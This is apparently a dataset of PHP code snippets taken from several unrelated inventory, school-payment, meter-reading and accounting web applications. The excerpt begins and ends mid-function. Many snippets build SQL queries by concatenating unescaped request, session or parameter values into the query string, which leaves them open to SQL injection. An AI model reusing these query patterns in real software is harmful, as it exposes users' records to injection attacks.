['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "public function get_baca_rbm($id, $tgl) {\n\t\t$id = intval($id);\n\t\t$d = substr($tgl, 0, 2);\n\t\t$m = substr($tgl, 2, 2);\n\t\t$y = substr($tgl, 4, 4);\n\t\t$date = $y . '-' . $m . '-' . $d;\n\t\t\n\t\t$r = array();\n\t\t$this->db->query(\"START TRANSACTION\");\n\t\t$tn = 0;\n\t\n\t\t$run = $this->db->query(\"SELECT a.ID_KETERANGAN_BACAMETER, a.ID_PELANGGAN, a.KIRIM_BACAMETER, TIME(a.TANGGAL_BACAMETER) AS JAM, a.LWBP_BACAMETER, a.WBP_BACAMETER, a.KVARH_BACAMETER, c.DAYA_PELANGGAN, c.TARIF_PELANGGAN FROM bacameter a, rincian_rbm b, pelanggan c WHERE DATE(a.TANGGAL_BACAMETER) = '$date' AND a.ID_PELANGGAN = b.ID_PELANGGAN AND b.ID_RBM = '$id' AND a.ID_PELANGGAN = c.ID_PELANGGAN AND (a.KIRIM_BACAMETER = 'W' OR a.KIRIM_BACAMETER = 'H') ORDER BY a.TANGGAL_BACAMETER DESC\");\n\t\tfor ($i = 0; $i < count($run); $i++) {\n\t\t\t$srun = $this->db->query(\"SELECT `NAMA_KETERANGAN_BACAMETER` FROM `keterangan_bacameter` WHERE `ID_KETERANGAN_BACAMETER` = '\" . $run[$i]->ID_KETERANGAN_BACAMETER . \"'\", TRUE);\n\t\t\t$keterangan = (empty($srun) ? 'Normal' : $srun->NAMA_KETERANGAN_BACAMETER);\n\t\t\tif ($keterangan != 'Normal') $tn++;\n\t\t\t\n\t\t\t$r[] = array(\n\t\t\t\t'idpel' => $run[$i]->ID_PELANGGAN,\n\t\t\t\t'jam' => $run[$i]->JAM,\n\t\t\t\t'lwbp' => $run[$i]->LWBP_BACAMETER,\n\t\t\t\t'wbp' => $run[$i]->WBP_BACAMETER,\n\t\t\t\t'kvarh' => $run[$i]->KVARH_BACAMETER,\n\t\t\t\t'tarif' => $run[$i]->TARIF_PELANGGAN,\n\t\t\t\t'daya' => $run[$i]->DAYA_PELANGGAN,\n\t\t\t\t'keterangan' => $keterangan,\n\t\t\t\t'kirim' => ($run[$i]->KIRIM_BACAMETER == 'W' ? 'WEB' : 'HP')\n\t\t\t);\n\t\t}\n\t\t\n\t\t$trbm = $this->db->query(\"SELECT COUNT(`ID_RINCIAN_RBM`) AS `HASIL` FROM `rincian_rbm` WHERE `ID_RBM` = '$id'\", TRUE);\n\t\t$total = $trbm->HASIL;\n\t\t\n\t\t$this->db->query(\"COMMIT\");\n\t\treturn array(\n\t\t\t'total' => $total,\n\t\t\t'data' => $r,\n\t\t\t'tidaknormal' => $tn\n\t\t);\n\t}", "function get_data_absen($bulan)\n {\n // $query = \"SELECT DISTINCT (nama) FROM ($query) AS tab\";\n $query = \"SELECT nama FROM user_ho WHERE akses = 'user_g' ORDER BY nama ASC\";\n $data = $this->db->query($query)->result();\n return $data;\n }", "function listQueryBaru() {\n\t\t\t$sql = \"select r.* from \".self::table('v_kelas3new').\" r join gate.ms_unit u on r.kodeunit = u.kodeunit\";\n\t\t\t\n\t\t\treturn $sql;\n\t\t}", "public function daftar_nama_side_unit(){\n\t\t/*return $w = $this->db->query(\"select * from unit WHERE kode_unit='\".$this->get_session_unit().\"' AND kode_bahasa='\".$this->lang.\"' \")->result();*/\n\t\t//$query = \"SELECT * from unit WHERE kode_unit='67' AND kode_bahasa='id'\";\n\t\t$query = \"SELECT * FROM unit WHERE kode_unit = '\".$this->get_session_unit().\"' AND kode_bahasa = '\".$this->lang.\"'\";\n\t\t$sql = $this->db->query($query);\n\t\treturn $sql->row_array();\n\t}", "function get_mhs_bimbingan_ta($periode = '2'){\n\t\t\t//DETAIL PERIODE :\n\t\t\t\t// 0 = Untuk bimbingan komprehensif\n\t\t\t\t// 1 = untuk bimbingan seminar proposal\n\t\t\t\t// 2 = untuk bimbingan tugas akhir\n\t\t\t\t// 3 = untuk bimbingan tertutup\n\t\t\t\t// 4 = untuk bimbingan terbuka\n\n\t\t\t$kd_dosen = $this->session->userdata('kd_dosen');\n\t\t\t$data = $this->s00_lib_api->get_api_json(\n\t\t\t\t\t\t'http://service.uin-suka.ac.id/servtugasakhir/sia_skripsi_public/sia_skripsi_bimbingan/jadwalTA',\n\t\t\t\t\t\t'POST',\n\t\t\t\t\t\tarray(\n\t\t\t\t\t\t\t'api_kode'\t\t=> 1000,\n\t\t\t\t\t\t\t'api_subkode'\t=> 1,\n\t\t\t\t\t\t\t'api_search'\t=> array($kd_dosen, $periode)\n\t\t\t\t\t\t)\n\t\t\t\t);\n\n\t\t\treturn $data;\n\t\t}", "public function get_pago_boleta_cobro($codigo, $cuenta = '', $banco = '', $alumno = '', $referencia = '', $periodo = '', $carga = '', $programado = '', $empresa = '', $fini = '', $ffin = '', $orderby = '', $facturado = ''){\n $pensum = $this->pensum;\n\n $sql= \"SELECT *, \";\n $sql.= \" (SELECT CONCAT(alu_nombre,' ',alu_apellido) FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_nombre_completo,\";\n $sql.= \" (SELECT alu_nit FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_nit,\";\n $sql.= \" (SELECT alu_cliente_nombre FROM app_alumnos WHERE alu_cui = pag_alumno ORDER BY alu_cui LIMIT 0 , 1) as alu_cliente_nombre,\";\n $sql.= \" (SELECT bol_motivo FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado AND pag_alumno = pag_alumno ORDER BY pag_referencia LIMIT 0 , 1) as bol_motivo,\";\n $sql.= \" (SELECT bol_fecha_pago FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_fecha_pago,\";\n $sql.= \" (SELECT bol_monto FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_monto,\";\n $sql.= \" (SELECT bol_descuento FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY pag_referencia LIMIT 0 , 1) as bol_descuento,\";\n $sql.= \" (SELECT bol_tipo FROM boletas_boleta_cobro WHERE bol_codigo = pag_programado ORDER BY bol_tipo LIMIT 0 , 1) as bol_tipo,\";\n ///-- INSCRIPCION\n $sql.= \" (SELECT CONCAT(alu_nombre,' ',alu_apellido) FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_nombre_completo,\";\n $sql.= \" (SELECT alu_nit FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_nit,\";\n $sql.= \" (SELECT alu_cliente_nombre FROM inscripcion_alumnos WHERE alu_cui_new = pag_alumno ORDER BY alu_cui_new LIMIT 0 , 1) as inscripcion_cliente_nombre,\";\n //--subqueryes de facturas y recibos\n $sql.= \" (SELECT fac_numero FROM boletas_factura_boleta WHERE fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY fac_numero LIMIT 0 , 1) as fac_numero,\";\n $sql.= \" (SELECT fac_serie FROM boletas_factura_boleta WHERE fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY fac_serie LIMIT 0 , 1) as fac_serie,\";\n $sql.= \" (SELECT ser_numero FROM boletas_factura_boleta,vnt_serie WHERE fac_serie = ser_codigo AND fac_pago = pag_codigo AND fac_sucursal = cueb_sucursal AND fac_situacion = 1 ORDER BY ser_numero LIMIT 0 , 1) as fac_serie_numero,\";\n $sql.= \" (SELECT rec_numero FROM boletas_recibo_boleta WHERE rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY rec_numero LIMIT 0 , 1) as rec_numero,\";\n $sql.= \" (SELECT rec_serie FROM boletas_recibo_boleta WHERE rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY rec_serie LIMIT 0 , 1) as rec_serie,\";\n $sql.= \" (SELECT ser_numero FROM boletas_recibo_boleta,vnt_serie_recibo WHERE rec_serie = ser_codigo AND rec_pago = pag_codigo AND rec_situacion = 1 ORDER BY ser_numero LIMIT 0 , 1) as rec_serie_numero,\";\n //-- subquery grado\n $sql.= \" (SELECT TRIM(gra_descripcion) FROM academ_grado, academ_grado_alumno\";\n $sql.= \" WHERE gra_pensum = $pensum\";\n $sql.= \" AND graa_pensum = gra_pensum\";\n $sql.= \" AND graa_nivel = gra_nivel\";\n $sql.= \" AND graa_grado = gra_codigo\";\n $sql.= \" AND graa_alumno = pag_alumno ORDER BY graa_grado DESC LIMIT 0 , 1) AS alu_grado_descripcion,\";\n //-- subquery seccion\n $sql.= \" (SELECT TRIM(sec_descripcion) FROM academ_secciones,academ_seccion_alumno\";\n $sql.= \" WHERE seca_pensum = $pensum\";\n $sql.= \" AND seca_pensum = sec_pensum\";\n $sql.= \" AND seca_nivel = sec_nivel\";\n $sql.= \" AND seca_grado = sec_grado\";\n $sql.= \" AND seca_seccion = sec_codigo\";\n $sql.= \" AND seca_alumno = pag_alumno ORDER BY seca_seccion LIMIT 0 , 1) AS alu_seccion_descripcion\";\n //--\n $sql.= \" FROM boletas_pago_boleta, fin_cuenta_banco, fin_banco, fin_moneda, fin_tipo_cuenta\";\n $sql.= \" WHERE pag_cuenta = cueb_codigo\";\n $sql.= \" AND pag_banco = cueb_banco\";\n $sql.= \" AND cueb_banco = ban_codigo\";\n $sql.= \" AND cueb_tipo_cuenta = tcue_codigo\";\n $sql.= \" AND cueb_moneda = mon_id\";\n //$sql.= \" AND pag_situacion != 1\";\n if (strlen($codigo)>0) {\n $sql.= \" AND pag_codigo = $codigo\";\n }\n if (strlen($cuenta)>0) {\n $sql.= \" AND pag_cuenta = $cuenta\";\n }\n if (strlen($banco)>0) {\n $sql.= \" AND pag_banco = $banco\";\n }\n if (strlen($alumno)>0) {\n $sql.= \" AND pag_alumno = '$alumno'\";\n }\n if (strlen($referencia)>0) {\n $sql.= \" AND pag_referencia = '$referencia'\";\n }\n if (strlen($periodo)>0) {\n $sql.= \" AND pag_periodo_fiscal = $periodo\";\n }\n if (strlen($carga)>0) {\n $sql.= \" AND pag_carga = '$carga'\";\n }\n if (strlen($programado)>0) {\n $sql.= \" AND pag_programado = '$programado'\";\n }\n if (strlen($empresa)>0) {\n $sql.= \" AND cueb_sucursal = $empresa\";\n }\n if ($fini != \"\" && $ffin != \"\") {\n $fini = $this->regresa_fecha($fini);\n $ffin = $this->regresa_fecha($ffin);\n $sql.= \" AND pag_fechor BETWEEN '$fini 00:00:00' AND '$ffin 23:59:00'\";\n }\n if (strlen($facturado)>0) {\n $sql.= \" AND pag_facturado = $facturado\";\n }\n if (strlen($orderby)>0) {\n switch ($orderby) {\n case 1: $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, pag_referencia ASC\"; break;\n case 2: $sql.= \" ORDER BY pag_fechor ASC, ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC\"; break;\n case 3: $sql.= \" ORDER BY pag_alumno ASC, pag_referencia ASC, pag_fechor ASC\"; break;\n case 4: $sql.= \" ORDER BY bol_tipo ASC, cueb_codigo ASC, pag_alumno ASC, pag_fechor ASC, pag_referencia ASC\"; break;\n default: $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, bol_referencia ASC\"; break;\n }\n } else {\n $sql.= \" ORDER BY ban_codigo ASC, cueb_tipo_cuenta ASC, cueb_codigo ASC, pag_alumno ASC, pag_referencia ASC\";\n }\n\n $result = $this->exec_query($sql);\n //echo $sql.\"<br><br>\";\n return $result;\n }", "public function searchBarangESM($params)\n {\n $query = Barang::find()->where('b0001.STATUS <> 3')->andWhere('b0001.PARENT=1 AND KD_CORP=\"ESM\"')->groupBy(['KD_BARANG','KD_CORP','KD_TYPE','KD_KATEGORI']);\n\n\t\t$query->joinWith(['unitb' => function ($q) {\n $q->where('ub0001.NM_UNIT LIKE \"%' . $this->unitbrg . '%\"');\n }]);\n $dataProvider = new ActiveDataProvider([\n 'query' => $query,\n\t\t\t'pagination' => [\n\t\t\t\t'pageSize' => 20,\n\t\t\t],\n ]);\n\n\t\t $dataProvider->setSort([\n\t\t\t'attributes' => [\n 'KD_BARANG',\n 'NM_BARANG',\n /* 'nmsuplier' => [\n \t\t\t\t'asc' => ['d0001.NM_DISTRIBUTOR' => SORT_ASC],\n \t\t\t\t'desc' => ['d0001.NM_DISTRIBUTOR' => SORT_DESC],\n \t\t\t\t'label' => 'Supplier',\n \t\t\t], */\n\n 'unitbrg' => [\n 'asc' => ['ub0001.NM_UNIT' => SORT_ASC],\n 'desc' => ['ub0001.NM_UNIT' => SORT_DESC],\n 'label' => 'Unit Barang',\n ],\n\n 'tipebrg' => [\n 'asc' => ['dbc002.b1001.NM_TYPE' => SORT_ASC],\n 'desc' => ['dbc002.b1001.NM_TYPE' => SORT_DESC],\n 'label' => 'Tipe Barang',\n ],\n\n \t\t\t'nmkategori' => [\n \t\t\t\t'asc' => ['b1002.NM_KATEGORI' => SORT_ASC],\n \t\t\t\t'desc' => ['b1002.NM_KATEGORI' => SORT_DESC],\n \t\t\t\t'label' => 'Kategori',\n \t\t\t],\n\n\t\t\t]\n\t\t]);\n\n\t\tif (!($this->load($params) && $this->validate())) {\n\t\t\t/**\n\t\t\t * The following line will allow eager loading with country data\n\t\t\t * to enable sorting by country on initial loading of the grid.\n\t\t\t */\n\t\t\treturn $dataProvider;\n\t\t}\n\n $query->andFilterWhere(['like', 'b0001.STATUS', $this->STATUS])\n ->andFilterWhere(['like', 'NM_BARANG', $this->NM_BARANG])\n ->andFilterWhere(['like', 'b0001.KD_BARANG', $this->KD_BARANG])\n\t\t\t//->andFilterWhere(['like', 'b0001.KD_CORP', $this->nmcorp])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_TYPE', $this->tipebrg])\n\t\t\t->andFilterWhere(['like', 'b0001.KD_KATEGORI', $this->nmkategori]);\n return $dataProvider;\n }", "function getNamaUnit($conn,$r_kodeunit){\n\t\t$sql = \"select namaunit from \" . static::table('ms_unit') . \" where kodeunit = '$r_kodeunit'\";\n\t\t\n\t\treturn $conn->GetOne($sql);\n\t}", "function neraca_search($buku_periode, $buku_tglawal, $buku_tglakhir, $buku_bulan, \r\n\t\t\t\t\t\t\t\t$buku_tahun, $buku_akun, $start,$end, $neraca_jenis){\r\n\r\n\t\t\tif($neraca_jenis=='Aktiva'){\r\n\t\t\t\t$neraca_jenis\t= 1;\r\n\t\t\t\t$neraca_jenis3\t= 1;\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$neraca_jenis\t= 2;\r\n\t\t\t\t$neraca_jenis3\t= 3;\r\n\t\t\t}\r\n\t\t\t\t\r\n\t\t\t//AKUN LEVEL 1\r\n\t\t\t$sql = \"SELECT \r\n\t\t\t\t\t\tA.akun_id, A.akun_saldo, A.akun_kode, A.akun_jenis, A.akun_nama, A.akun_level,\r\n\t\t\t\t\t\tB.akun_id as akun_parent_id, B.akun_nama as akun_parent\r\n\t\t\t\t\tFROM akun A, akun B\r\n\t\t\t\t\tWHERE \r\n\t\t\t\t\t\tA.akun_level=3 AND \r\n\t\t\t\t\t\tA.akun_parent_kode=B.akun_kode AND \r\n\t\t\t\t\t\tA.akun_jenis='BS' AND \r\n\t\t\t\t\t\tB.akun_level=2 AND \r\n\t\t\t\t\t\t(A.akun_kode LIKE '__.\".$neraca_jenis.\"%' OR A.akun_kode LIKE '__.\".$neraca_jenis3.\"%')\r\n\t\t\t\t\tORDER by A.akun_kode ASC\";\r\n\r\n\t\t\t$master=$this->db->query($sql);\r\n\t\t\t//$this->firephp->log($sql);\r\n\t\t\t$nbrows=$master->num_rows();\r\n\r\n\t\t\t$saldo=0;\r\n\t\t\t$saldo_akhir=0;\r\n\t\t\t$i=0;\r\n\t\t\t$total_nilai_periode=0;\r\n\t\t\t$total_nilai=0;\r\n\t\t\t\r\n\t\t\tforeach($master->result() as $row){\r\n\t\t\t\r\n\t\t\t\t//s/d bulan ini\r\n\t\t\t\t\r\n/*\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n*/\r\n\t\t\t\t$sql = \"SELECT \r\n\t\t\t\t\t\t\tA.akun_kode,\r\n\t\t\t\t\t\t\tsum(B.buku_debet) as debet,\r\n\t\t\t\t\t\t\tsum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM buku_besar B, akun A\r\n\t\t\t\t\t\tWHERE \r\n\t\t\t\t\t\t\tB.buku_akun=A.akun_id\r\n\t\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n\t\t\t\t\t\r\n\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m')<='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t}elseif($buku_periode==\"tanggal\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m-%d')<='\".$buku_tglakhir.\"'\";\r\n\t\t\t\t}\r\n\t\t\t\t//$sql.=\"GROUP BY A.akun_kode\";\r\n\t\t\t\t$sql.=\"\tORDER BY A.akun_kode ASC\";\r\n\t\t\t\t//$this->firephp->log($sql);\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//GET SALDO BEFORE\r\n\t\t\t\t$data[$i][\"neraca_saldo\"]=0;\r\n\r\n\t\t\t\t$sqlsaldo = \"SELECT \r\n\t\t\t\t\t\t\t\t\tA.akun_kode, sum(A.akun_debet) as debet, sum(A.akun_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM vu_akun A\r\n\t\t\t\t\t\t\t\tWHERE replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\";\r\n\t\t\t\t\r\n\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\r\n\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\t$rowsaldo=$rssaldo->row();\r\n\t\t\t\t\tif($rowsaldo->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t$saldo_akhir= ($rowsaldo->debet-$rowsaldo->kredit);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$saldo_akhir= ($rowsaldo->kredit-$rowsaldo->debet);\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t//$saldo_akhir=0;\r\n\t\t\t\t//$this->firephp->log($sqlsaldo.' '.$saldo_akhir.'<br/>');\r\n\t\t\t\t//----->\r\n\r\n\t\t\t\t$isi=$this->db->query($sql);\r\n\t\t\t\t//$this->firephp->log($sql);\r\n\t\t\t\t\r\n\t\t\t\tif($isi->num_rows()){\r\n\t\t\t\t\t$rowisi=$isi->row();\r\n\t\t\t\t\t$data[$i][\"neraca_akun\"]=$row->akun_id;\r\n\t\t\t\t\t$data[$i][\"neraca_level\"]=$row->akun_level;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis\"]=$row->akun_parent;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis_id\"]=$row->akun_parent_id;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_kode\"]=$row->akun_kode;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_nama\"]=$row->akun_nama;\r\n\r\n\t\t\t\t\tif($row->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir+($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir+($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t\t}\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data[$i][\"neraca_akun\"]=$row->akun_id;\r\n\t\t\t\t\t$data[$i][\"neraca_level\"]=$row->akun_level;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis\"]=$row->akun_parent;\r\n\t\t\t\t\t$data[$i][\"neraca_jenis_id\"]=$row->akun_parent_id;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_kode\"]=$row->akun_kode;\r\n\t\t\t\t\t$data[$i][\"neraca_akun_nama\"]=$row->akun_nama;\r\n\t\t\t\t\t$data[$i][\"neraca_saldo\"]=$saldo_akhir;\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//bulan ini --> tidak dipakai\r\n\t\t\t\t$sql=\"SELECT A.akun_kode,sum(B.buku_debet) as debet,sum(B.buku_kredit) as kredit\r\n\t\t\t\t\t\tFROM\tbuku_besar B, akun A\r\n\t\t\t\t\t\tWHERE B.buku_akun=A.akun_id\r\n\t\t\t\t\t\tAND replace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%'\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')>=date_format('\".$_SESSION[\"periode_awal\"].\"','%Y-%m-%d')\r\n\t\t\t\t\t\tAND date_format(buku_tanggal,'%Y-%m-%d')<=date_format('\".$_SESSION[\"periode_akhir\"].\"','%Y-%m-%d')\";\r\n\r\n\t\t\t\tif($buku_periode==\"bulan\"){\r\n\t\t\t\t\t$sql.=\"\tAND date_format(buku_tanggal,'%Y-%m')='\".$buku_tahun.\"-\".$buku_bulan.\"'\";\r\n\t\t\t\t}\r\n\t\t\t\t//$sql.=\"GROUP BY A.akun_kode\";\r\n\t\t\t\t$sql.=\"\tORDER BY A.akun_kode ASC\";\r\n\r\n\t\t\t\t$isi=$this->db->query($sql);\r\n\t\t\t\tif($isi->num_rows()){\r\n\t\t\t\t\t$rowisi=$isi->row();\r\n\t\t\t\t\tif($row->akun_saldo=='Debet')\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir+($rowisi->debet-$rowisi->kredit);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=$saldo_akhir+($rowisi->kredit-$rowisi->debet);\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$data[$i][\"neraca_saldo_periode\"]=0;\r\n\t\t\t\t}\r\n\t\t\t\t$total_nilai+=$data[$i][\"neraca_saldo\"];\r\n\t\t\t\t$total_nilai_periode+=$data[$i][\"neraca_saldo_periode\"];\r\n\t\t\t\t$i++;\r\n\t\t\t}\r\n\r\n\t\t\t//LAPORAN LABA RUGI\r\n\t\t\t//2011-11-02, hendri: sementara ditutup dulu, karena belum tahu kegunaannya, sepertinya sudah terwakilkan oleh neraca_jenis3 = 3\r\n\t\t\t\r\n\t\t\tif($neraca_jenis==2) {\r\n\t\t\t\t$sql=\"SELECT\tA.akun_id,A.akun_saldo,A.akun_kode,A.akun_jenis,A.akun_nama,A.akun_level,B.akun_id as akun_parent_id,\r\n\t\t\t\t\t\t\t\tB.akun_nama as akun_parent\r\n\t\t\t\t\t\tFROM \takun A, akun B\r\n\t\t\t\t\t\tWHERE \tA.akun_level=2\r\n\t\t\t\t\t\t\t\tAND A.\takun_parent_kode=B.akun_kode\r\n\t\t\t\t\t\t\t\tAND A.akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tAND B.akun_level=1\r\n\t\t\t\t\t\tORDER by A.akun_kode ASC\";\r\n\t\r\n\t\t\t\t$master=$this->db->query($sql);\r\n\t\t\t\t$nbrows=$master->num_rows();\r\n\t\t\t\t\r\n\t\t\t\t//$this->firephp->log(\"sql=\".$sql);\r\n\t\t\t\t\r\n\t\t\t\t$saldo=0;\r\n\t\t\t\t$saldo_akhir=0;\r\n\t\t\t\t$saldo_akhir_periode=0;\r\n\t\t\t\t$saldo_akun=0;\r\n\t\t\t\t$saldo_buku=0;\r\n\t\t\t\t\r\n\t\t\t\t//SALDO AWAL\r\n\t\t\t\t$sqlsaldo = \"SELECT\r\n\t\t\t\t\t\t\t\t\tA.akun_kode, sum(A.akun_debet) as debet, sum(A.akun_kredit) as kredit, A.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM vu_akun A\r\n\t\t\t\t\t\t\t\tWHERE akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tGROUP BY A.akun_saldo\";\r\n\t\t\t\t\r\n\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\r\n\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\tforeach($rssaldo->result() as $rs){\r\n\t\t\t\t\t\t\tif($rs->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_akhir-= ($rs->debet-$rs->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_akhir+= ($rs->kredit-$rs->debet);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\t$saldo_akhir_periode=$saldo_akhir;\r\n\t\t\t\t\r\n\t\t\t\t//print_r('Saldo Awal'); print_r($saldo_akhir_periode);\r\n\t\t\t\t\r\n\t\t\t\t$test=\"\";\r\n\t\t\t\t\r\n\t\t\t\tforeach($master->result() as $row){\r\n\t\t\t\t\t//SALDO AWAL\r\n/*\t\t\t\t\t$saldo_akun=0;\r\n\t\t\t\t\t$sqlsaldo=\"SELECT \tA.akun_kode,sum(A.akun_debet) as debet,\r\n\t\t\t\t\t\t\t\t\t\tsum(A.akun_kredit) as kredit, \r\n\t\t\t\t\t\t\t\t\t\tA.akun_saldo\r\n\t\t\t\t\t\t\t\tFROM\takun A\r\n\t\t\t\t\t\t\t\tWHERE akun_jenis='R/L'\r\n\t\t\t\t\t\t\t\tAND \treplace(A.akun_kode,'.','') like '\".str_replace(\".\",\"\",$row->akun_kode).\"%' \r\n\t\t\t\t\t\t\t\tGROUP BY A.akun_saldo\";\r\n\t\t\r\n\t\t\t\t\t$rssaldo=$this->db->query($sqlsaldo);\r\n\t\t\t\t\tif($rssaldo->num_rows()){\r\n\t\t\t\t\t\tforeach($rssaldo->result() as $rs){\r\n\t\t\t\t\t\t\tif($rs->akun_saldo=='Debet'){\r\n\t\t\t\t\t\t\t\t$saldo_akun+= ($rs->debet-$rs->kredit);\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$saldo_akun+= ($rs->kredit-$rs->debet);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\r\n\t\t\t\t\t//$this->firephp->log(\"saldo group : \".$row->akun_kode.\" => 